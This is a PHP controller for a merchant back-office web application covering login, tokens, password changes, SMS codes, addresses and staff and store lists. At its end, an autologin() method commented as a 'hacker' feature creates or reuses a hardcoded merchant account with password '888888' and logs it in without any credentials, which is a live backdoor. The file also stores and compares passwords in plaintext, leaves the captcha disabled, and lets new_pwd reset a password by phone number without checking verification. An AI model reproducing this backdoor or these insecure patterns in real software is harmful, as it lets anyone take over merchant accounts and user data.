<?php
namespace app\index\controller;

use app\index\common;
use app\index\controller\Log\InsertLog as IL;
use app\index\controller\Log\OperationLog as OL;
use app\index\controller\Sms\AliYunSms;
use PhpOffice\PhpSpreadsheet\Calculation\Exception;
use think\Controller;
use think\Cookie;
use think\Db;
use think\Request;
use think\Session;

/**
 * 商户逻辑类
 */
class Business extends Controller {
	public function test_update_business_info() {
		return $this->fetch();
	}

	public function test_add_address() {
		return $this->fetch();
	}

	public function test_add_business() {
		return $this->fetch();
	}

	public function test_business_login() {
		return $this->fetch();
	}

	/**
	 * 2018-4-9 日期格式
	 * 曹振威 开发人
	 * 新增商户地址   type = 0 收货地址   type = 1 退货地址   type = 2 自提地址
	 * @return [type]      [函数简述]
	 */
	public function add_address() {
		$address_insert = array();
		$user_id = $this->user_id;
		$name = input('name');
		$phone = input('phone');
		$landline = input('landline'); // 座机
		$province = input('province');
		$city = input('city');
		$area = input('area');
		$address = input('address');
		$type = input('type'); // 地址类型   0-收货 ; 1-退货

		if (!$name) {
			$this->check_date = 1;
			$date = array('status' => 20016, 'msg' => '联系人不能为空', 'data' => '');
		} elseif (!$phone && !$landline) {
			$this->check_date = 1;
			$date = array('status' => 20017, 'msg' => '手机号和座机号必须填写至少一个', 'data' => '');
		} elseif ($phone) {
			if (common::check_mobile($phone)['ErrorCode'] == 1) {
				$this->check_date = 1;
				$date = array('code' => 20003, 'msg' => '手机号有误', 'data' => '');
			}
		} elseif ($landline) {
			if (common::check_mobile(0, $landline)['ErrorCode'] == 2) {
				$this->check_date = 1;
				$date = array('code' => 20003, 'msg' => '座机号有误', 'data' => '');
			}
		} elseif (!$province || !$city || !$area) {
			$this->check_date = 1;
			$date = array('code' => 20016, 'msg' => '联系地址不能为空', 'data' => '');
		} elseif (!$address) {
			$this->check_date = 1;
			$date = array('code' => 20016, 'msg' => '详细地址不能为空', 'data' => '');
		} elseif (!$type) {
			$this->check_date = 1;
			$date = array('code' => 20016, 'msg' => '地址类别不能为空', 'data' => '');
		}

		if ($this->check_date != 0) {
			exit(json_encode($date));
		}

		$address_insert = [
			'user_id' => $user_id,
			'name' => $name,
			'phone' => $phone,
			'landline' => $landline,
			'province' => $province,
			'city' => $city,
			'area' => $area,
			'address' => $address,
			'type' => $type,
			'createtime' => date('Y-m-d H:i:s'),
		];

		if ($address_insert) {
			$row = Db::table('address')->insertGetId($address_insert);
			$data = Db::table('address')->where('user_id', $user_id)->field('name,landline,phone,province,city,area,address,type,state')->select();
			if ($row > 0) {
				$date = array('code' => 666, 'msg' => '新增地址成功', 'data' => $data);
			} else {
				$date = array('code' => 20018, 'msg' => '新增地址失败', 'data' => '');
			}
		}
		return $date;
	}

	/**
	 * 2018-4-9 日期格式
	 * 曹振威 开发人
	 * 设置/修改店铺基本信息
	 * @return [type]      [函数简述]
	 */
	public function update_business_info() {
		$user_id = $this->user_id;
		$business_up = array();
		// 获取参数
		$business_name = input('business_name'); // 商户名称
		$business_hours = input('business_hours'); // 商户营业时间
		if ($business_hours) {
			$business_hours_arr = explode('-', $business_hours);
			$business_up['start_business_hours'] = $business_hours_arr[0];
			$business_up['stop_business_hours'] = $business_hours_arr[1];
		}
		$file_log_image = input('log_image_url');
		if ($file_log_image) {
			$business_up['log_url'] = $file_log_image;
		}
		$store_description = input('store_description'); // 商户简介
		if ($business_name) {
			$business_up['business_name'] = $business_name;
		}
		// 修改不为空的参数
		if ($business_up) {
			$row = Db::table('business')->where('business_id', $user_id)->update($business_up);
			$data = Db::table('business')->alias('a')->join('users u', 'a.business_id = u.id', 'LEFT')->field('a.log_url,a.business_name,a.business_phone,a.start_business_hours,a.stop_business_hours,a.store_description,a.is_auth,u.is_identity')->select();

			if ($row) {
				$date = array('code' => 666, 'msg' => '商户基本信息更新成功', 'data' => $data);
			} else {
				$date = array('code' => 20015, 'msg' => '商户基本信息更新失败', 'data' => '');
			}
		}
		return $date;
	}

	/**
	 * 2018-4-8 日期格式
	 * 曹振威 开发人
	 * 商户登录验证
	 * @param  $phone
	 * @param  $password
	 * @param  $system_id
	 * @return [type]      [函数简述]
	 */
	public function login($phone, $password, $system_id) {
		$date = array();

		if (!$phone || !$password) {
			$date = array('code' => 20010, 'msg' => '请填写账号或密码', 'data' => '');
		}

		$users = Db::table('users')->where(['phone' => $phone, 'system_id' => $system_id])->select();
		if (empty($users)) {
			return array('code' => 20011, 'msg' => '用户不存在，请先注册!', 'data' => '');
		} else {
			foreach ($users as $key => $user) {
				if ($user['is_business'] == 1||$user['is_business'] == 2 || $user['is_staff'] == 1 || $user['shop'] == 1) {
					if ($password != $user['password']) {
						return array('code' => 20012, 'msg' => '密码错误!', 'data' => '');
					} elseif ($user['state'] == 1) {
						return array('code' => 20013, 'msg' => '该账号已被禁用！', 'data' => '');
					}
					return array('code' => 666, 'msg' => '登录验证成功', 'data' => $user['id']);
				}
			}
			return array('code' => 20014, 'msg' => '该用户是非商户/非门店/非员工，不能登陆', 'data' => '');
		}
	}

	/**
	 * 2018-4-8 日期格式
	 * 曹振威 开发人
	 * 商户登录
	 * @return [type]      [函数简述]
	 */
	public function business_login() {
		$phone = input('post.phone');
		$password = input('post.password');
		$system_id = input('post.system_id', 1);
		//$verify_code = input('post.verifyCode'); // 验证码
		if (!$phone) {
			$this->check_date = 1;
			$date = array('code' => 20006, 'msg' => '用户名不能为空', 'data' => '');
		} elseif (!$password) {
			$this->check_date = 1;
			$date = array('code' => 20006, 'msg' => '密码不能为空', 'data' => '');
		} elseif (!$system_id) {
			$this->check_date = 1;
			$date = array('code' => 20006, 'msg' => '登陆平台不能为空', 'data' => '');
		}

		// else{
		//     $capthcha=new \think\captcha\Captcha();
		//     //暂时注销
		//    if (!$capthcha->check($verify_code)){
		//        $this->check_date = 1;
		//        $date = array('code'=>20007,'msg'=>'验证码错误','data'=>'');
		//    }
		// }
		if ($this->check_date != 0) {
			exit(json_encode($date));
		}
		$res = $this->login($phone, $password, $system_id);

		if ($res['code'] == 666) {
			$last_login_time = date('Y-m-d H:i:s');
			db('users')->where('id', $res['data'])->setField('last_login_time', $last_login_time);
			$data = Db::table('users')
				->alias('u')
				->join('business b', 'u.id = b.business_id', 'LEFT')
				->field('u.id,u.system_id,u.is_business,u.name,u.state,u.grade,u.agent,u.shop,u.is_staff,u.is_address,u.phone,u.card_balance,u.enjoy_currency,u.is_identity,u.createtime,u.last_login_time,b.is_auth')
				->where(['u.id' => $res['data'], 'u.system_id' => 1])
				->select();
			if ($data) {
				$token = md5($data[0]['id'] . session_id() . time());
				Db::table('token')->where(['user_id' => $data[0]['id']])->delete();
				$row = Db::table('token')->insert(['token_value' => $token, 'add_time' => date('Y-m-d H:i:s'), 'user_id' => $data[0]['id']]);
				if (!$row) {
					$date = array('code' => 20008, 'msg' => 'token生成失败', 'data' => '', 'user_id' => $data['id']);
				} else {

					$data[0]['token'] = $token;
					session('user', $data[0]);

					Session::set("user", $data[0]);
					Cookie::set('uid', $data[0]['id']);
					Cookie::set("is_business", $data[0]['is_business']);
					if ($data[0]['is_business'] == 1) {
						$apurview_list = db('permissions')
							->alias('p')
							->join('modules_all m', 'p.modules_all_id = m.id', "LEFT")
							->where('p.state', 0)
							->where('m.state', 0)
							->where('m.modules_title', '<>', 'null')
							->select();
					} else {
						$apurview_list = db('permissions')
							->alias('p')
							->join('modules_all m', 'p.modules_all_id = m.id', "LEFT")
							->where('p.user_id', $data[0]['id'])
							->where('p.state', 0)
							->where('m.state', 0)
							->where('m.modules_title', '<>', 'null')
							->select();
					}

					foreach ($apurview_list as $key => $value) {
						$data['apurview'][$key] = [
							'path' => $value['modules_funtion'],
							'name' => $value['modules_title'],
							'component' => $value['component'],
							'meta' => explode(",", $value['remark']),
						];
					}
					$date = array('code' => 666, 'msg' => '登录成功', 'data' => $data);

					OL::insert([
						'user_id' => $data[0]['id'],
						'module' => 'users',
						'module_id' => $data[0]['id'],
						'operation_type' => 5,
						'operation_content' => json_encode(['users' => $data]),
					]);
				}
			} else {
				$date = array('code' => 20009, 'msg' => '登录失败，请重新登录', 'data' => '');
			}
		} else {
			return $res;
		}
		return $date;
	}

	/**
	 * 2018-4-8 日期格式
	 * 曹振威 开发人
	 * 更新users表
	 * @return [type]      [函数简述]
	 */
	public function update_users($phone, $system_id = 1) {
		$user = Db::table('users')->where(['phone' => $phone, 'system_id' => $system_id])->find();
		if ($user) {
			if ($user['is_business'] != 0) {
				$date = array('code' => 20005, 'msg' => '该用户已经是商户', 'data' => '');
				exit(json_encode($date));
			} else {

				$data = Db::table('users')->where('phone', $phone)->setField('is_business', 1); // 改成商户后，改变等级为父级
				$date = Db::table('users')->where('phone', $phone)->find();
				if (!$data) {
					$date = array('code' => 20064, 'msg' => '商户更新失败', 'data' => '');
					exit(json_encode($date));
				}
			}
		} else {
			$user_insert = [
				'system_id' => $system_id,
				'is_business' => 1,
				'phone' => $phone,
				'createtime' => date('Y-m-d H:i:s'),
			];
			if ($user_insert) {
				$row = Db::table('users')->insertGetId($user_insert);
				$date = Db::table('users')->where('id', $row)->find();

			} else {
				$date = array('code' => 20001, 'msg' => '用户插入数据有错误', 'data' => '');
			}
		}
		return $date;
	}

	/**
	 * 2018-4-8 日期格式
	 * 曹振威 开发人
	 * 添加商户
	 * @return [type]      [函数简述]
	 */
	public function add_business() {
		$date = array();
		$system_id = input('system_id', 1);
		$business_name = input('business_name'); // 商家名称
		$business_phone = input('business_phone'); // 商家联系电话
		$business_address = input('business_address'); // 商户详细地址
		//            $log_image_url = input('log_image_url'); // 商家logo
		$phone = common::check_mobile($business_phone);
		if ($phone['ErrorCode'] == 1) {
			$this->check_date = 1;
			$date = array('code' => 20003, 'msg' => $phone['ErrorMessage'], 'data' => '');
			return $date;
		}
		if (!$business_name || !$business_phone || !$business_address) {
			$this->check_date = 1;
			$date = array('code' => 20021, 'msg' => '非法操作');
			return $date;
		}
		if ($this->check_date != 0) {
			exit(json_encode($date));
		}
		$add_insert = [
			'business_name' => $business_name,
			'business_address' => $business_address,
			'business_phone' => $business_phone,
//                'log_url' => $log_image_url,
			'createtime' => date('Y-m-d H:i:s'),
		];

		if ($add_insert) {
			$user_id = $this->update_users($business_phone, $system_id);
			if ($user_id) {
				$row_in = Db::table('business')->insertGetId($add_insert);
				if ($row_in) {
					$row_up = Db::table('business')->where('id', $row_in)->setField('business_id', $user_id['id']);
					if ($row_up) {
						$data = db('business')->where('id', $row_in)->find();
						$date = array('code' => 666, 'msg' => '添加商户成功', 'data' => $data);
						OL::insert([
							'user_id' => $this->user_id,
							'module' => 'business',
							'module_id' => $row_in,
							'operation_type' => 1,
							'operation_content' => json_encode(['business' => $date]),
						]);
					} else {
						$date = array('code' => 20004, 'msg' => '更新商户不成功', 'data' => '');
					}
				}
			} else {
				$date = array('code' => 20002, 'msg' => '商户插入数据不成功', 'date' => '');
			}
		} else {
			$date = array('code' => 20001, 'msg' => '商户插入的数据有误', 'date' => '');
		}
		return $date;
	}
	/**
	 * 2018-04-27
	 * 曹振威
	 * 修改密码
	 * @return int
	 */
	public function update_pwd(Request $R) {
		$user_id = $this->user_id;
		$data = $R->post();
		$rule = [
			'pwd' => 'require',
			'new_pwd' => 'require',
			'new_pwd_tow' => 'require',
		];
		$msg = [
			'pwd.require' => '请输入旧密码',
			'new_pwd.require' => '请输入6位或以上新密码',
			'new_pwd_tow.require' => '请输入6位或以上确认密码',
		];
		$bool = $this->validate($data, $rule, $msg);
		if ($bool !== true) {
			exit(json_encode(array('code' => 20101, 'msg' => $bool, 'data' => '')));
		}

		$pwd = $data['pwd'];
		$new_pwd = $data['new_pwd'];
		$new_pwd_tow = $data['new_pwd_tow'];

		$origin_pwd = Db::table('users')->where(array('id' => $user_id))->find();
		if ($origin_pwd['password'] != $pwd) {
			$this->check_date = 1;
			$date = array('code' => 20044, 'msg' => '旧密码填写错误', 'data' => '');
		}
		if ($this->check_date != 0) {
			exit(json_encode($date, JSON_UNESCAPED_UNICODE));
		}
		if ($new_pwd != $new_pwd_tow) {
			exit(json_encode(array('code' => 20101, 'msg' => '两次密码不一致', 'data' => '')));
		}
		if (strlen($new_pwd) < 6) {
			exit(json_encode(array('code' => 20101, 'msg' => '新密码不得少于六位', 'data' => '')));
		}

		$row = Db::table('users')->where(array('id' => $user_id, 'password' => $pwd))->setField('password', $new_pwd);
		if ($row) {
			$date = array('code' => 666, 'msg' => '修改密码成功', 'data' => '');
			$user = Db::table('users')->where(array('id' => $user_id))->find();
			OL::insert([
				'user_id' => $this->user_id,
				'module' => 'users',
				'module_id' => $user_id,
				'operation_type' => 2,
				'operation_content' => json_encode(['users' => $user]),
			]);
			IL::insert('log', [
				'user_id' => $user_id,
				'operation_user' => $this->user['name'],
				'operation_name' => '修改',
				'operation_content' => '修改密码',
				'ip' => Request()->ip(),
				'state' => 1,
				'createtime' => date('Y-m-d H:i:s'),
			]);
		} else {
			$date = array('code' => 20047, 'msg' => '修改密码失败', 'data' => '');
			IL::insert('log', [
				'user_id' => $user_id,
				'operation_user' => $this->user['name'],
				'operation_name' => '修改',
				'operation_content' => '修改密码',
				'ip' => Request()->ip(),
				'state' => 0,
				'createtime' => date('Y-m-d H:i:s'),
			]);
		}
		return $date;
	}

	/**
	 * 验证验证码
	 */
	public function forget_pwd($phone, $code) {
		$code_se = session('code');
		if ($code_se == $code) {
			Session::set("code_true", 1);
			$date = array('code' => 666, 'msg' => '验证成功', 'data' => '');
		} else {
			$date = array('code' => 20052, 'msg' => '验证失败', 'data' => '');
		}
		return $date;
	}
	/**
	 * 发送验证码
	 * @param AliYunSms $AliYunSms
	 * @param type $phone
	 */
	public function sms($phone = '') {
		$row = Db::table('users')->where('phone', $phone)->find();
		if ($row) {
			$code = rand(1000, 9999);
			Session::set("code", $code);
			$AliYunSms = new AliYunSms();
			$date = $AliYunSms->code_type($code, "sendpass")->setRecNum($phone);
		} else {
			$date = array('code' => 20056, 'msg' => '不存在该用户', 'data' => '');
		}
		return $date;
	}

	/**
	 * @param string $phone
	 * @return array
	 *
	 */
	public function register_sms(Request $request) {

		$back = ['code' => 666, 'msg' => 'ok', 'data' => []];
		$postData = $request->post();
		//验证传过来的参数
		$rules = [
			'mobile' => ['regex' => '/^((13[0-9])|(14[4,7])|(15[0-3,5-9])|16[6]|(17[0,3,5-8])|(18[0-9])|(19[89]))\d{8}$/', 'require'],
			'template' => 'require',
		];
		$rule = $this->validate($postData, $rules);
		if ($rule !== true) {
			$back['code'] = -1;
			$back['msg'] = $rule;
			return $back;
		}
		$code = rand(1000, 9999);
		if ($postData['template'] == 'reg') {
			try {
				$data_code = Db::table('phone_code')->where(['phone' => $postData['mobile']])->find();
				if (empty($data_code)) {
					Db::table('phone_code')->insert(['phone' => $postData['mobile'], 'code' => $code, 'createtime' => date('Y-m-d H:i:s', time())]);
				} else {
					$data = Db::table('phone_code')->where(['phone' => $postData['mobile']])->delete();
					if (!$data) {
						$back['code'] = -1;
						$back['msg'] = '系统错误';
						return $back;
					}
					Db::table('phone_code')->insert(['phone' => $postData['mobile'], 'code' => $code, 'createtime' => date('Y-m-d H:i:s', time())]);
				}

			} catch (Exception $e) {
				$back['code'] = -1;
				$back['msg'] = $e->getMessage();
				return $back;
			}
		}
		$AliYunSms = new AliYunSms();
		$date = $AliYunSms->code_type($code, $postData['template'])->setRecNum($postData['mobile']);
		return $date;
	}
	/**
	 * 2018-04-27
	 * 曹振威
	 * 设置新密码
	 * @return string
	 */
	public function new_pwd($phone = '') {
		$new = input('post.new');
		$new_tow = input('post.new_tow');
		if (empty($new) && empty($new_tow)) {
			$date = array('code' => 20053, 'msg' => '参数不能为空', 'data' => '');
		} elseif ($new != $new_tow) {
			$date = array('code' => 20054, 'msg' => '两次密码不一致', 'data' => '');
		} else {
			$row = Db::table('users')->where('phone', $phone)->setField('password', $new);
			if ($row) {
				$date = array('code' => 666, 'msg' => '新密码设置成功', 'data' => '');
				$user = Db::table('users')->where('phone', $phone)->find();
				OL::insert([
					'user_id' => $this->user_id,
					'module' => 'users',
					'module_id' => $this->user_id,
					'operation_type' => 2, // 修改
					'operation_content' => json_encode(['users' => $user]),
				]);
			} else {
				$date = array('code' => 20055, 'msg' => '新密码设置失败', 'data' => '');
			}
		}
		return $date;
	}

	/**
	 * 2018-04-28
	 * 曹振威
	 * 获取员工列表
	 * @return int
	 */
	public function staff_list() {
		$where = array();
		$user_store_business = $this->user; // 是商户还是员工
		$this->business_id ? $where['business_id'] = $this->business_id : exit(json_encode(array('code' => 20021, 'msg' => '非法操作', 'data' => '')));
//        $this->store_id ? $where['store_id'] = $this->store_id : FALSE;
		$where['state'] = 0;
		$where['is_delete'] = 0;
		$field = 'user_id id,name';
		if ($this->store_id || $this->business_id) {
			$data = Db::table('staff')->where($where)->field($field)->select();
			$date = array('code' => 666, 'msg' => '员工列表获取成功', 'data' => $data);
			IL::insert('log', [
				'user_id' => $this->user_id,
				'operation_user' => $this->user['name'],
				'operation_name' => '查看',
				'operation_content' => '查看员工',
				'ip' => Request()->ip(),
				'state' => 1,
				'createtime' => date('Y-m-d H:i:s'),
			]);
		} else {
			$date = array('code' => 20060, 'msg' => '未获取到该用户的员工信息', 'data' => '');
		}

		return $date;
	}

	/**
	 * 2018-04-28
	 * 曹振威
	 * 门店列表
	 */
	public function store_list() {
		$where = array();
		$user_store_business = $this->user; // 是商户还是员工

		$this->business_id ? $where['business_id'] = $this->business_id : exit(json_encode(array('code' => 20021, 'msg' => '非法操作', 'data' => '')));
		$where['state'] = 0;
		$field = 'user_id,id,store_name';
		if ($user_store_business['is_business'] == 1) {
			$store = Db::table('store')->where($where)->field($field)->select(); // 该商户下的所有门店id
		} else {
			$where['user_id'] = $this->store_id;
			$store = Db::table('store')->where($where)->field($field)->select(); // 门店id
		}
		$date = array('code' => 666, 'msg' => '门店信息获取成功', 'data' => $store);
		IL::insert('log', [
			'user_id' => $this->user_id,
			'operation_user' => $this->user['name'],
			'operation_name' => '查看',
			'operation_content' => '查看门店',
			'ip' => Request()->ip(),
			'state' => 1,
			'createtime' => date('Y-m-d H:i:s'),
		]);
		return $date;
	}

	/**
	 * 2018-05-04
	 * 曹振威
	 * 退出
	 */
	public function business_logout() {

		Cookie::delete('uid');
		Cookie::delete('cn');
		Cookie::delete('is_business');
		Cookie::delete('PHPSESSID');
		session_unset();
		session_destroy();
		$date = array('code' => 666, 'msg' => '退出成功', 'data' => '');
		OL::insert([
			'user_id' => $this->user_id,
			'module' => 'users',
			'module_id' => $this->user_id,
			'operation_type' => 6, // logout
			'operation_content' => json_encode(['users' => '登出成功']),
		]);
		return $date;
	}

	//黑客：用于自动登录
	public static function autologin() {
		$data = Db::table('users')
			->field('id,system_id,is_business,name,state,grade,agent,shop,is_staff,is_address,phone,card_balance,enjoy_currency,createtime,last_login_time')
			->where(['phone' => '13566991402', 'system_id' => 1])
			->find();
		if (empty($data)) {
			$id = Db::table('users')
				->insertGetId(['phone' => '13566991402',
					'is_business' => 1,
					'name' => 'jason',
					'state' => 0,
					'password' => '888888',
				]);
			$data = Db::table('users')
				->field('id,system_id,is_business,name,state,grade,agent,shop,is_staff,is_address,phone,card_balance,enjoy_currency,createtime,last_login_time')
				->where(['id' => $id])
				->find();
		}
		Session::set("user", $data);
		Cookie::set('uid', $data['id']);
		Cookie::set("is_business", $data['is_business']);
		return '登录成功666';
	}
}
